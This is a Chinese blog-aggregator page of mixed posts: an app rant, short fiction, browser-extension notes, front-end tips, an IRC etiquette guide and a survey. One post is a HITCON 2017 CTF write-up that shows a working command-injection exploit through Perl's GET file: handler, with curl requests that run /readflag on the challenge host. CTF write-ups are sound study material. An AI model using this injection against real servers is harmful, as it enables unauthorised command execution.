这个阿里旺旺的网页界面,看起来就像是上古时代的样子,不过至少有能够独立使用的网页版,不强制要求装客户端,已经很良心了(微笑)。然后我只好在那里面把问题再描述了一遍。

但是卖家现在不在线,我又不可能一直守在电脑旁等待对方回复,所以还是不得不装个手机应用来收到提醒。不过我是肯定不会把这样看起来就很毒瘤的国产软件装到常用手机上的,于是我拿出了专门用来装国产软件的二奶手机,寻找起可以“扫一扫下载”的二维码,不过没有找到。

咦,聊天窗口上那条黄色的“安全购物沟通,请使用阿里旺旺!”的横幅,是不是下载链接呢?试着点了一下它,迎接我的是——

🌚❓❓❓

什么……你们不停提示要我装的客户端,我好不容易想装了,结果就是这反应?下载链接都没掉了?你们家产品经理是吃了什么不好的东西吧?

行行行,我服。我把之前提到的手机拿了出来,用百度搜索“阿里旺旺”。(我有好好确认从官网下载哦!)打开的网页居然还没有为手机做适配,这在使劲让我们安装手机应用的国产软件中,真是一股清流。默认显示的还是 Windows 版。然后我选择了“手机版”的标签,按下网页底下的“立即下载”。

🌚 然后下载好,发现那个文件的扩展名是 EXE 。

得,我选择的手机版,结果你还给我一份 EXE ,这是闹咋地?不提了,我从顶上点进去查看所有版本的下载,终于下载到了一个扩展名是 APK 的东西。

要求的权限嘛……还是不出所料地跟其他国产软件一样多。不过没事儿,反正这是国产软件专用二奶机。装好了之后,它嘣地跳出一个提示:

手机:这个应用太辣鸡了,不适合开电池优化,会费电。
我:哦,没事,反正你是二奶机。

确认了这条提示之后,它又蹦哒出来一个提示:

🌚❓❓❓❓

我不是刚刚下载的最新版本吗?这什么辣鸡玩意儿?网页上下载的还不是最新版本?

然后我下载好了那个新版本,是这个样子的:

🌚❓❓❓❓❓

“安装包解析失败”……好你刚刚让我下载来的最新版本,结果是坏的?这什么辣鸡玩意儿?你家产品经理小时候国产奶粉吃多了吧?这么辣鸡的东西,究竟是怎么成为世界上最大的购物网站的啊?

好好好,我旧版本照样用了。这时候卖家回复我了。

唔……那就是不行咯?我点开看看他总共说了啥。

点开,里面是空白的。

🌚❓❓❓❓❓❓

啊啥?这什么辣鸡玩意儿?外面显示的人家有回复,结果里面是空的???

行,我死了,我真的死了。所谓的世界上最大的购物网站,结果就是这么一堆辣鸡玩意儿的集合。

我服你,马云,能把看着好好的东西做得这么烂,也只有你了。


事毕,朋友说:“给你添麻烦了,这么多破事。”

我说,没事儿,还要感谢你,让我终于见识到了这玩意的辣鸡。


除特殊说明外,本作品采用知识共享署名-相同方式共享 4.0 国际许可协议进行许可。转载时请注明来自 FiveYellowMice's Blog ,以及原文链接

虽然 RSS 是一种很好的新闻获取方式,但是不同的 RSS 阅读器所显示的内容可能会有很大差距,有些甚至无法显示所有内容。所以为了能够获取到完整的内容,最好还是点开网页链接看。
之所以还是保留了 RSS 的全文输出,是因为摘要输出会被很多人讨厌……

Kouga's avatar

1024号牢房

深夜,本来应该安静的监狱里突然响起了一声枪响,顿时整个监狱警铃大作,保安一队队的开始巡查牢房。

然而在 1024号牢房里,四个刚被惊醒的家伙却连起身都不想动一下。

“又是那个不长眼的家伙,惹到公主了吧” 上铺的S说道“上次也是这样,半夜被突然处决什么的”

“活该,谁叫他想用泡面替代香烟?新来的就是需要这么教训一下” 下铺A接到“虽然学金融的最后搞到身败名裂蹲监狱,可竟然还忘不了他那套骗术呢——但是在监狱里,还是得看自己的实力说话的”

“好了好了,都休息吧,明天还得给公主上供,不然吃子弹的就是我们了”同在上铺的B翻了个身嘟囔道,其余二人也闭上了嘴。

唯独下铺的M,并不理会这些聊天,只是在床铺上安静的流着血,等待天明。

Kouga's avatar

午后

又是个阳光明媚的午后,阳光透过窗户,照亮了整个书房。辛酱懒洋洋的将自己埋在沙发里,翻看着一本比她身子还略大的古书。这本古书有着华丽宝石装饰的封面,以及羊皮纸制作的散发着香味厚重内页,记录着以前的巫师留下的各种笔记。不过随着一阵阵温暖的风拂过,辛酱都快要睡着啦。

“唔……不好不好,这样真的会睡着的”辛酱自言自语着揉了揉眼睛,翻到下一页。“呜哇?这是什么?这有可能么?”突然看到了令他兴奋的内容,那是一个简单的术式,却写着“正确操作的话,可以达到模拟日食的效果”这样的注解。事不宜迟,辛酱跳下沙发,举着书来到工作台前,跃跃欲试新学到的东西。

“唔唔,首先,准备500ml水作为溶剂,滴入3滴NR液,搅拌均匀并加热到75℃”辛酱复述着步骤并拿出了合适的烧杯,装入适量水并小心的滴入了培养基上吸取的NR液。阳光经过地板的反射,将整个烧杯照得闪闪发亮,映入了辛酱的眼中,他更加兴奋了。接下来就是写入过程了呢,嗯,虽然这里有个很麻烦的叫做“递归”的东西暂时不能理解,不过术式本身却意外的简单。辛酱很轻松的就在纸上抄写了术式,然后将纸折叠起来,放入烧杯中,随着烧杯的温度越来越接近设定温度,突然,这一大杯溶液连同术式的纸张一起消失了,只剩下空空的烧杯。紧跟着,一条不怎么起眼的黑烟从烧杯口浮现出来,辛酱小心的用搅拌棒将它挑起来,移入小瓶子里,并盖上塞子,“成功啦!”

辛酱兴奋的拿着小瓶子到了门外,阳光亮的有些耀眼。随着小瓶子塞子拔出,那缕黑烟升腾起来,迎着太阳的方向消失了。但是,过了一会儿,太阳就像被谁戳了一下似的,突然变得有些泄气,仔细观察会发现太阳的一角已经黑掉了。又过了几分钟,那黑掉的一角越来越大,现在半个太阳都已经被“吞噬”了,仿佛已经是傍晚一样。最后,太阳的光芒完全消失了,大地突然就变得死寂起来,辛酱有些发慌,这效果好太多了。正当他不知道该怎么收场的时候,突然,出现了一道裂痕,阳光又迅速的从那倾泻下来,紧接着,天空突然就像碎掉一样,阳光从裂缝里不断射出,最终太阳又开始暖暖的照耀着大地。辛酱松了口气,然后躺在草坪上睡着了。

Jixun Moe's avatar

回顾了一部老电影 感觉真恐怖

依云's avatar

我正在使用的火狐扩展

本文来自依云's Blog,转载请注明。

早就说了要介绍我在用的火狐扩展,现在终于来啦。

桌面版

Android 版

Android 版上使用的扩展比较少,大部分是桌面上用的扩展同时支持 Android,所以同步过来了。只有一个例外:Text Reflow WE

这个扩展是我移植到 Web Extensions 的。在点击内容时限制文本宽度,从而限制需要不断地横向滚动。原本是 Opera Mobile 的特色功能,后来我换到火狐时找了个替代品,结果它没更新了,不支持57+,我就移植了一下。代码十分简单,本来是一个 user script 就可以搞定的内容,但是 Android 上好像没 user script 扩展……


2017年11月25日更新:

装回了 cliget,一个为下载项生成 wget / curl / aria2 调用命令的工具。虽然因为没有 XUL API 可以修改保存对话框了,但是作者找到了一种不错的办法,把候选下载项保存到一个列表里方便取用。会有误判,忽略就好。这个列表是下载对话框弹出的时候就会更新,所以挺适合下载大的「百k盘」文件,下载链接超时失效之后可以获取一个新的让 wget 接着下。

暂时把 uBlock Origin 换回了 Adblock Plus。界面比前者好看许多,可惜还是没有规则使用计数和最后使用时间记录,不方便清理失效的规则。

启用了 ScrollAnywhere,因为妨碍 Foxy Gestures 使用右键的 bug 已经解决了。我使用的是 Nightly 版本所以很快就用上了,Linux 发行版如 Arch 也有做 backport。

考虑挽回 GreaseMonkey,不过发现有一个 bug 导致它不能在特定网站上触发安装操作。

Fenking's avatar

我与口袋妖怪的若干年

今天突然想起去说关于口袋妖怪这件事。 口袋妖怪正式一点说叫pokemon,中文官 … 继续阅读
IceHoney Blog's avatar

前端开发的技术栈

我发现自己博客没次开头都是在说近况和废话。这次也不例外。哈哈哈,工作也算顺畅,顺便总结下最近的前端开发的技术栈来回顾下这半年学到的知识。

HTML开发

对于大型项目,直接书写HTML代码是一个非常繁琐和头疼的事情,因为HTML需要闭合,每次找匹配的HTML标签都要非常花功夫。所以现在的开发都是使用预处理器来书写代码,例如主流的Pug,通过缩进来控制元素的嵌套,还支持多种语法。非常适合大型项目的开发,再也不用担心修改代码的时候出现HTML元素标签没有闭合的情况发生了。而且还规避了一些语法错误,例如在p标签里嵌入block元素是非法的。如果强行嵌入的话,你会发现生成的HTML代码是错误的。

CSS开发

CSS开发更多的需要是良好的模块化功能和合理的作用域。这时候也需要通过预处理器来进行操作,推荐使用SCSS。这里很多人对sassscss之间的区别有疑问。简单的来说,SCSS的格式更接近CSS,所以比较容易上手。但是SASS是通过缩进来书写的,对新手不太友好。所以建议大家使用SCSS来书写模块化代码。

JavaScript开发

现在主流的浏览器支持的JavaScript版本是es5。但是众所周知,JavaScript(es5)有很多陷阱和缺点,例如this指针问题和异步处理等等。基于原型连的继承对于面向对象开发者来说也很不友好。所以推荐使用es6来书写代码。可以使用基于class的继承,和解决this指针问题。而且还能使用import进行模块化开发。虽然只是语法糖,但也提升了开发效率。

自动化构建工具

我们使用了预处理器来书写代码,并使用新版本的es6语法。但是目前浏览器并不支持直接解析这些内容。所以我们需要构建化工具来处理从Pug生成HTML,从SCSS生成CSS,把es6语法的JavaScript转换成es5语法。对于SPA网站推荐使用webpack,而对于普通网站的构建推荐使用Gulp。这里区别开的原因是,webpack必须指定入口文件,但是Gulp只需要指定需要处理的文件或文件夹就可以了,支持通配符匹配。对于多页面的传统网站来说非常便利。

浏览器兼容处理

这是每个前端工程师最头疼的地方了,因为每个浏览器支持程度都不一样。在使用比较新的API记得去Can I use查看下各个浏览器的支持情况,如果实在是需要这个功能的话,那就只能去寻找polyfill了。

参考:

Why p tag can't contain div tag

Kouga's avatar

便利贴

“不,这事情并不是这么简单。”丈夫皱着眉头说道,而在做饭的妻子却不以为然:“不就是买的时候看错了么?有什么大不了的。”

“然而我是仔细看过了才买回来的,”丈夫有点恼怒了,“但是为什么会变成这样……”

桌上是一个小小的便签本,其中一张撕下来的便利贴上写着这次购物清单,但是,它现在却在挑战我的记忆和理性。

从头开始整理吧……我们打算去超市来个大采购,以便顺利渡过即将到来的冬季,同时为了让家里显得更有圣诞味一点,我们拟定了一份清单,从日用纸巾到圣诞礼物一应俱全——然而现在这张便利贴却变成了苦恼的根源。

是的,明明应该是那样的,清单没有任何问题,我们也都是照着清单一项项加入购物车并带回来的,可是,为什么会这样——现在桌子上堆着和清单不那么“匹配”的东西,而那些只是在拟定清单的时候想过却没写上去的,带着大大的 Blue 商标的各种日用品,那清一色的蓝色的底色让丈夫陷入了深深的忧郁。

这一定是哪里搞错了什么,清单上明白的写着各类日用品,而自己也尽力避免陷入 Blue 的营销影响,可是一到货架前,明明伸手去拿的货物,一眨眼,购物车里却都是 Blue 品牌的,而更可怕的是直到到家才会发觉这件事情。不对,这一定有哪里有更深层的原因,在超市里被催眠了?不对,催眠的话不会正常开车回家;被铺天盖地的广告迷惑了?可是购买的时候尽力回避那些广告了,连推销人员都不去搭理;总不是被脑后插管了——我笑了笑,这没可能——丈夫放弃了这个想法。

“好了,开饭了,快点把桌子收拾一下不然你就蹲狗窝旁边去吃” 妻子开始催促。我也这么认为,丈夫眨了眨眼,开始将一堆 Blue 的日用品抱去仓库,并很快忘了这件小事,开始帮助妻子摆放餐具了——当然也是 Blue 制造的。

看来我今天的任务也顺利完成了,汇报吧。

liwanglin12's avatar

办到了年轻人的第一张 VISA 卡

办到了年轻人的第一张 VISA 卡🌚

Jixun Moe's avatar

09/11/2017 服务器炸了 (已恢复)

服务器所在的法国机房停电了,正在龟速抢救中... _(:3__

目前的恢复状态可以在 OVH Status 查询。

受到影响的服务:

  • 网易云音乐解析、反代
  • 博客评论服务
  • 季寻储存服务
  • 静态网页资源
  • Hosts 更新服务

以上。


UTC 时间 22:33

服务器已经恢复。nginx 启动时因无法解析域名导致服务启动失败。

Jixun Moe's avatar

UU看书 - 手机阅读优化 - 用户样式

手机屏幕比较宽,内容并不能占满...

于是按照响应式设计(Responsive Design)将其改成了同行多项。

首页

目录页 (手机竖屏)

目录页 (手机横屏)

目录页 (平板宽屏)

章节结尾

特别说明

手机需要依次安装下述应用/插件:

其中,uBlock 默认规则会屏蔽掉广告加载。
样式会隐藏广告内容 (占位框)。

针对火狐安卓版本进行阅读体验优化。
Chrome 未测试,但是好像也能用?

使用 uBlock 屏蔽额外功能

可能会造成功能缺失,只需要基础阅读功能的可以选择屏蔽。

  • 在 uBlock 设定勾选 “Advanced User”,回到网页。
  • 菜单 → uBlock Origin
  • 屏蔽 “1st-party scripts” 以及 “inline scripts”

安装样式

注意:Advanced Style Settings 内可以选择是否屏蔽触摸后出现的菜单栏。

安装:UserStyle

Ricter's avatar

HITCON 2017 SSRFme

题目源码:

<?php 
    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); 
    @mkdir($sandbox); 
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"])); 
    $info = pathinfo($_GET["filename"]); 
    $dir  = str_replace(".", "", basename($info["dirname"])); 
    @mkdir($dir); 
    @chdir($dir); 
    @file_put_contents(basename($info["basename"]), $data); 
    highlight_file(__FILE__);

这道题的考点是 GET 这个命令的一个命令执行漏洞,主要是 perl 的 feature,在 open 可以执行命令:

ricter@baka:/tmp$ cat a.pl
open(FD, "id|");
print <FD>;

open(FD, "|id");
print <FD>;
ricter@baka:/tmp$ perl a.pl
uid=1000(ricter) gid=1000(ricter) groups=1000(ricter)
uid=1000(ricter) gid=1000(ricter) groups=1000(ricter)

那么,GET 命令对于各个 protocol 的处理是在 /usr/share/perl5/LWP/Protocol 下的:

ricter@baka:/usr/share/perl5/LWP/Protocol$ ls -1
cpan.pm
data.pm
file.pm
ftp.pm
GHTTP.pm
gopher.pm
http.pm
https.pm
loopback.pm
mailto.pm
nntp.pm
nogo.pm

对于 open 函数:

ricter@baka:/usr/share/perl5/LWP/Protocol$ ag open
mailto.pm
88: open(SENDMAIL, "| $SENDMAIL -oi -t") or

ftp.pm
239:          # open range -- only the start is specified
537:#    may be reasonable to keep the control connection open while accessing

file.pm
84: opendir(D, $path) or
132:    open(F, $path) or return new

file 协议才有可以利用的 open,看一下源码:

...
# URL OK, look at file
my $path  = $url->file;

# test file exists and is readable
unless (-e $path) {
return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND,
              "File `$path' does not exist");
}
...
# read the file
if ($method ne "HEAD") {
open(F, $path) or return new
    HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
           "Cannot read file '$path': $!");
...

需要文件存在才能触发,验证一下:

ricter@baka:/tmp/a$ touch 'id|'
ricter@baka:/tmp/a$ GET 'file:id|'
uid=1000(ricter) gid=1000(ricter) groups=1000(ricter)

需要存在一个 id| 文件,但是 PHP 源码中会创建目录及文件,那么最终 exp:

ricter@baka:~$ curl -s 'http://13.115.136.15/?url=file:bash%20-c%20/readflag|&filename=bash%20-c%20/readflag|' > /dev/null
ricter@baka:~$ curl -s 'http://13.115.136.15/?url=file:bash%20-c%20/readflag|&filename=bash%20-c%20/readflag|' > /dev/null
ricter@baka:~$ curl 'http://13.115.136.15/sandbox/c36eb1c4372f5f8131542751d486cebd/bash%20-c%20/readflag%7C'
hitcon{Perl_<3_y0u}
依云's avatar

使用 Python 读取火狐的 cookies

本文来自依云's Blog,转载请注明。

这事本来是有个 browsercookie 库可以做的,但是初看它就有不少问题:

  1. 不能指定要使用的火狐 profile(后来发现可以指定数据库文件)。
  2. 找不到 sessionstore.js 文件时会向标准输出打印一行信息。对于 cron 脚本,这种行为是非常非常讨厌的。

我在尝试解决这些问题时,又发现了额外的问题:它每次都要把所有的 cookie 全部读取。再加上不必要地导入 keyring、Crypto 等库,让我想放弃了。

于是我考虑自己实现一个 cookiejar。但发现它有如下问题:

  • 公开接口和实现细节没有清晰地分离
  • 没有提供存储和读取 cookie 的抽象,而是存在一个字典里

这样扩展起来就十分令人不爽了,也不知道能正常工作多久。

也罢,cookiejar 是个十分复杂的东西,我不如实现一个获取匹配的 cookie 的独立功能,然后通过各种姿势传给 HTTP 客户端库好了。

火狐的 cookie 数据库文件「cookies.sqlite」里就一个「moz_cookies」表,其结构也挺简单的。但是,怎么做 cookie 的匹配呢?既然决定放弃 Python 自带的 cookiejar,那就不看它,直接看火狐的源码好了。

于是去 DXR 上搜索火狐的源码。没费多少力气就找到了相关的部分,然后跟着代码就能知道是怎么匹配的了:

  1. 通过祼域名查得候选 cookie
  2. 根据域名、路径和 secure 等属性来过滤 cookie
  3. 就这样,没有第三步了

祼域名使用 tldextract 库来做,其它属性的匹配算法直接看火狐的代码。虽然是不熟悉的 C++ 代码,但是写得很棒,很容易理解。

把自己需要的部分写成 Python,得一新模块——firefoxcookies。就一个方法,返回一个 cookie 的字典,用起来也很方便。比如在我的 requestsutils.RequestsBase 中,这么干就可以了:

class FireRequests(RequestsBase):
  def initialize(self):
    self._fc = FirefoxCookies(os.path.expanduser(
      '~/.mozilla/firefox/nightly/cookies.sqlite'))

  def request(self, url, method=None, *args, **kwargs):
    if self.baseurl:
      url = urljoin(self.baseurl, url)

    cookies = self._fc.get_cookies(url)

    return super().request(url, method=method, cookies=cookies)

就这样就满足我的需求了。以后再有别的需求,再慢慢扩展。

's avatar

把 WSL 的发行版换成 Debian 时撞的坑

tl;dr:别自以为是

参考教程:Debian on Windows via WSL

  1. 下载 Git for Windows 这种庞然大物不是必须的,你直接从 GitHub 上 Download ZIP 就行
  2. 安装 Python,一定要记得在第一步勾选 Add Python 3.x to PATH
  3. 一定要乖乖地从 PowerShell 运行,而不是 cmd,否则会出现 WinError 126 错误
  4. 刚安装好的 Debian 实在太精简了,所以别忘了先 apt update 然后装个文本编辑器,否则你编辑点什么都相当痛苦
  5. 这个 Debian 连 man 都没有,所以也需要自己装
  6. 为了修复 locale 问题,你需要
echo "en_US.UTF-8 UTF-8" > /etc/locale.gen  
apt install locales

现在你终于可以 apt install 一通乱装了。

Ubuntu 16.04 能用还是好好用吧,不要学我

's avatar

第三届上海市大学生网络安全大赛 流量分析 WriteUp

这次的比赛又跟着 Dalao 去划水了,能力和时间不足本次就只划了三题,一题签到,一题划水的 Web 和一题 Misc 。本文就来讲一下这题 Misc 流量分析。
Jixun Moe's avatar

扔书网 - 样式修正

发现这个网站采集的没有奇怪的干扰码,但是这个网站的布局实在是过于奇葩... 于是就做了个修正用的 CSS 来解决。

首页

书籍页面

章节目录

阅读页面

安装样式

安装:UserStyle

ホロ's avatar

如何在 IRC 上请求支援

来自 https://workaround.org/getting-help-on-irc/

IRC 是一种即时聊天工具,在不同的频道上有不同的话题进行讨论。

现在最大的 IRC 网络 irc.freenode.net 上有很多讨论操作系统,应用程序和开放源代码项目的 IRC 频道。 同时也成了获得帮助和支持的好地方。IRC 历史悠久而且还在持续进化,虽然有点像一群疯子的聚居地(雾)。

这篇文章希望能帮助汝理解 IRC 社群的工作原理并赐予汝充分利用它的力量的能力呗~

#1 – 别问“能不能问”问题

不要以“有人在吗?”,“我能在这里提问嘛?”一类的问题开始。 虽然在真实社交中这会让汝觉得彬彬有礼,但是 IRC 上没这个必要。 直接提出汝的问题就好(虽然很可能需要组织一下问题)。

#2 – 准确第一

“我的打印机坏了”,“我的邮件服务器发不出邮件”这样的问题完全会让人抓狂好不好~ 这样其他人怎么帮忙嘛,所以最好保证汝的话包含这几点:

  • 汝要干啥?(咱想用 POP3 协议接收邮件)
  • 哪里不对劲?(但是咱收不到)
  • 汝在用啥?(咱在 KDE 3.4 上用 kmail 1.8)(原文如此啦)
  • 汝已经试着做些啥了嘛?(咱确定咱的设置没有问题)
  • 有没有日志或者错误消息?(错误消息提示咱 “SSL negotiation failed.”)
  • 它曾经工作过嘛?汝改了哪些?(咱换了邮件提供商,前一家没问题)

包含的信息越多貌似汝的问题更容易被人关注到呗~

#3 – 讲出汝在做些啥

旁人只知道汝告诉他们的一切(就是汝不说别人不知道啦)。 “我改了某些地方然后遇到了别的问题”一类的话最容易让人放弃治疗啦 😂。 取得帮助的前提是合作啦~

#4 – 去读 /topic

汝的 IRC 客户端应该会在汝进入频道时显示频道的主题(topic)呗, 一个频道的主题通常包含大量信息(最常见的是 FAQ 和文档的链接)。 汝不想因为问 topic 或者 FAQ 中已经有答案的问题而被当作笨蛋,是呗~ 所以要是 topic 里有 FAQ 的地址的话,先花些时间去那里找找咯。

#5 – 别依赖谁

别指望谁会一直陪着汝在线直到汝的问题解决。IRC 是个无状态介质,于是谁啥时候都能下线。 那些留着的人只是他/她们乐意这样做而已啦,而且毕竟汝也没因为这个付费,是呗。

#6 – 别胡乱 /msg 其他人

汝可以在频道中公开的交谈,或者用 /msg 一类的命令和谁私聊。 不过随便和人搭讪容易被当作无礼,而且别只和一个人说话, 说不定其他人有兴趣或者有能力给汝一个解决方案呐~

#7 – 无意的无礼

有时汝大概会收到这样的回复:“重新安装”,“重启”,“去读 /usr/share/doc/mysoftware/README 里的文档” 一类的回复。虽然它短小精悍(也许带点火药味),不过别觉得被冒犯啦,也许给汝回答的人已经回答这样的问题 好多遍啦(庆幸他/她/它还没觉得厌烦),这样做最节省双方的时间而已。

#8 – 别重复自己

别一次次的问,要是一直没人说话的话,多半是时间不对(比如在吃饭或者睡觉), 大部分人在回来时看到聊天记录(如果他们的客户端支持的话),就能看到汝的问题了呗~

#9 – 讲英语(大多数情况下)

大多数频道只讲英语(不过也有例外,例如 #debian-fr 就讲法语,#archlinux-cn 讲中文,等等), 所以汝最好也讲英语,不要太担心自己英语水平不足啦(说不定不少人和汝差不多)。 当然,要是在讲非母语的频道里见到老乡(雾),别马上换成汝的母语继续说 (这样大多数频道里的人就看不懂啦)。

#10 – 别偷懒,去读文档

要是有人让汝去读文档的话,别像个大笨驴一样说些既然他知道不如直接告诉我怎么解决 一类的话,不然汝就等着被所有人忽略吧……

不过要是汝在看他提供的文档却一头雾水不知如何下手时说不定可以问问,例如 “咱看了汝给咱的文档的第三章第一节,现在咱明白虚拟域名如何工作了,不过咱怎么把 虚拟域名和非虚拟域名组合到一起使用咧?”

#11 – 留下来给人机会回答

就算汝十万火急,也留些时间等等好啦~ 有些时候汝可能马上就有答案了,然而不一定汝每次 都是幸运儿,多等一会儿说不定会有懂得如何解决汝问题的人出现咯:

10:07 Foo joins

10:07 Foo> How can I install the shripdibble module?

10:09 Foo quit

要是汝像这样问完就跑的话,后面有明白 shripdibble 的人来都不知道。

#12 – 如果可能的话,留下来

用 IRC 就像索取和给予的过程。一开始汝大概是问题比答案多,于是就提问然后因为有人注意到 或者回答了而心怀感激。而帮汝的人甚至都没期望收获一个“谢谢”。

如果汝可以的话,最好留下来帮助其他人。从这个过程中,汝大概可以得到更多知识, 或许也能了解到怎么和人聊天(就算是虚拟的也没有关系)。

#13 – 回答汝所问的问题?

IRC 有些不太好跟踪所有的对话。但是有时想帮忙的人可能会向汝提出一些问题。 别忽略它们(除非汝想被人忽略),而且最好答其所问。汝自己保持对自己的问题关注的话, 说不定能更快的解决。

#14 – 说出汝的解决办法

要是汝后来自己解决了,别简单的说一句自己已经解决了就跑。 告诉大家汝是怎么解决的问题,这样都能从中学到些啥。 汝是不会被当作大笨驴的啦,相信咱~

#15 – 不要盲从

小心甄别汝收到的回复,其间可能夹杂着瞎猜(或者有根据的猜测), 或者有些人为了好玩讲的玩笑话(比如一个格式化硬盘的命令)等等 😂。 如果不确定的话,就去问问别人(不排除汝太大笨驴以至于整个频道在线的人都在调戏汝的可能)😂

#16 – 别向频道发洪水,用剪贴板服务

有时汝会考虑发送一行以上的消息(可能是配置文件或者日志), 不过别直接把文字复制到输入框里。记得使用一个 Pastebin 服务 (一种存放文字然后供其他人以 URL 形式访问的网站),当然也别直接贴个链接就算了 (说点啥啊 😂),例如“咱装了 foo 以后 bar 就挂了,这是 bar 日志的输出 http://…”

参阅

提问的智慧 (虽然咱知道汝可能已经看腻了这个了)

ホロ's avatar

LEDE + iptables6 + Shadowsocks = ?

利用支持 LEDE 的路由器 + shadowsocks + iptables6 组建 nat6 + 透明代理 AP 接着搞大新闻…… 😂

violet's avatar

给 Surface pro 3重新灌上 windows

之前写了一篇博客讲如何在 surface pro 3 上安装 Linux 的。装好之后其实一直没用,一来是因为我又买了个笔记本当主力军,二来是苏菲用来实在是让人非常不满意。

青色旋律's avatar

青色旋律博客调查:第一期结果

您最希望在青色旋律博客上看到哪些内容?青色旋律的 博客调查 目前已经收到了不少结果啦,各位一起来看看吧~

此调查长期有效,欢迎各位继续 参与或者提交反馈

调查截止至 2017 年 4 月底,共收到 10 份调查结果。青色旋律会参考调查结果来决定以后博客准备哪些方面的文章。注意调查结果只反映参与者的兴趣和关注度,不是投票选举之类的。青色旋律会努力回应各位的期待,但未必会优先写票数最多的那一个。毕竟写博客是需要灵感的嘛……

如果您有什么特别想看的内容,也可以继续 参与调查 并进行投票。有什么想法的话也可以在调查的意见反馈和提问处进行提问。

您最希望看到以下哪些类别的文章?(可多选)

首先,作为技术博客,有很多人支持编程和开发,青色旋律感到很欣慰……不过,其他的类别也有很高的人气呢。互联网和软件目前只推出了系列的第一篇, 《简单易懂的网络求生指南:密码和账户篇》 ,还有很大的坑需要填。之后也可能会记录下其他软件或者网站的使用心得吧。也许会有一篇 Hexo 相关的教程,敬请期待吧。

自由软件和开源方面,暂时还没想好要写什么。如果要写的话,可能会从授权协议开始吧。至于开发或者参与社区的心得……很遗憾青色旋律这边并没有太多经验。

Minecraft 与其他游戏方面,可能会有些有趣的东西。青色旋律对于红石还是有一些研究的,所以大概会做实用的红石教程吧。至于复杂的计算或者红石逻辑电路之类的,大概不会涉及。

其他受到关注的还有哲学与三观、日记、新想法和设计这三个分类。这三个分类大概是想到就写,想不到就不写吧。目前灵感比较枯竭,可能没什么好点子呢……大家有什么好的想法吗?

小说和三题点心,经济与商业是最冷门的两个分类。也许严肃文学这年头已经不畅销了吧?(笑)

反而是同属于虚构类的脑洞文学关注度很不错,这个青色旋律其实已经发了两篇了,分别是 无题的世界 只是……中二度有点爆表,感觉好害羞……还有些其他的脑洞不敢写不敢发……

青色旋律非常喜欢音乐呢,希望能写出一点什么东西来。不过文章的形式感觉好难呢。推荐几首曲子倒是没问题啦,不过文字部分应该写什么呢?请大家多出出主意吧。

在“其他”分类中,唯一的一个建议是 女装照/女装日记。首先,提出这个的人大概是误会了什么。其次,无论怎么想,青色旋律都不可能在博客上发照片的吧……这里毕竟是严肃的技术博客来着……大概……?总之,无视掉吧。

您最想要看到以下哪个系列/企划的文章?(可多选)

目前的两个系列,《简单易懂的网络求生指南》和《JavaScript: 从入门到放弃》都受到了大家的热切关注,非常感谢! JS 入门已经连载了 总共三篇 了哦,大家快去看看吧~顺便,就算是太难了看不懂或者之类的评论也好,请大家至少在评论中给点反馈吧?不然可能这个系列就直接进入最后一篇——放弃篇了哦?

网络求生指南系列是需要大量查阅资料整理的,所以估计会更新比较慢。下次预定的主题是加密与存储。如果大家有什么想法,或者想要推荐相关的软件,欢迎在评论区告知~

关于技术问答,其实这个一直是属于开放状态的,只是一直没什么人提问。根据上次某位前辈的提问,青色旋律已经撰写了 《JavaScript 之 Promise 简介》 这篇详尽的介绍作为回答了,不知道大家觉得还满意吗?如果有什么其他的问题,欢迎通过评论区、私聊等途径进行提问。青色旋律随时欢迎任何关于技术的疑问和探讨。

你问我答(Ask me anything?)这样的系列稍微冷门一点点,不过关注的人数仍然不少。这个应该很容易实施吧,只要哪天开放一次提问就好了啦。不过,如果人气不够的话,可能会不太热闹,最后变得很无趣。到时候还请各位帮忙多多宣传。

其他系列中,唯一的建议是 OPSEC. 说实话,青色旋律并不是很清楚这边能有什么 critical information. 青色旋律并没有军事背景,也不会泄露什么军事机密啦。如果只是普通的加密话题的话,已经在计划《简单易懂的网络求生指南:加密与存储》和《简单易懂的网络求生指南:通信安全和隐私》了吧?所以,请支持求生指南系列吧。

其他调查项目

此外,还有对青色旋律博客的意见或者建议,匿名提问区,以及“有什么话想对青色旋律说吗?”三个版块。

目前,还未收到任何实质性的意见或者建议,也没有什么比较好的匿名提问。但青色旋律仍然会一如既往地欢迎任何评论。如果大家懒得打开调查的话,也可以在评论区告知。

“有什么话想对青色旋律说吗?” 这个问题的答案属于绝对隐私,并不会在这里登载。但非常感谢各位的支持。

进一步调查!

以上就是目前收到的结果,以及一些今后的计划。此调查 长期开放,欢迎大家继续提交结果,或者点击页面右上角的进行投票来参与。新提交的调查结果当然也会参考。

由于目前为止只有 10 份数据,很难得出什么结论呢……青色旋律希望有更多人提出意见和建议。无论是参与调查也好,或者简单的在下方评论区评论也好,大家都可以共同参与青色旋律博客的建设。

嘛,今后也请多指教啦~

青色旋律's avatar

的世界

Intro

打开吧。

蜡笔的笔尖在雪白的墙上移行。金色的直线,弧线,直线,然后又是直线。

打开吧——

轮廓之后,数笔又添上细节。很快,歪扭的笔画勾勒出一扇门。

打开吧……

A

眼前只有无尽的荒漠。风卷起沙子,堆砌成一个又一个山丘。

没有路,没有植被,没有足迹。旅人向天际前行,只为寻找一朵花。

残阳浮在沙之海的远方,随时都可能沉落。抬眼望去,目光所至之处皆是余晖染成的金红。红得让人恐慌,金得让人窒息。

不知道来自哪里,不知道要去何方。甚至连寻找本身,都只是无数轮回之后,前世残留的一缕记忆。踏出的脚印很快也被风抹去,一切都存在过,又不曾存在过。

但花一定开在某处。旅人依然前行。感受不到饥饿或者寒冷,只能感受到孤独。

远处,似乎传来了笛声。

B

门重重地合上,似乎还能听到木头吱嘎的声音,宛如一声叹息。

风和沙和日都褪色了,消隐在稀薄的空气中。白色充斥着视野,很快又组成熟悉的墙。

墙上已然没有了旅人。墙上也已然没有了门。我曾经描绘的,已是曾经。

盯着空白的墙沉思了许久,我又拿起蜡笔,描绘出翠色的痕迹……

A’

潺潺的水声响起,铺天盖地的绿意袭来。阶梯在山中延展着,曲折着。

飞鸟扑着翅膀从头顶飞过。森林散发着清香。一切都是那么熟悉,仿佛回到了起点。

木屐拾级而上,将半座山踩在脚下。此时平静的心情,似乎与山重新融为一体。

远处的那抹红色近了,近了。是几根红色的柱子,支撑起红色的横杆。先前飞过的鸟停在上面,时不时发出吱吱喳喳的叫声。

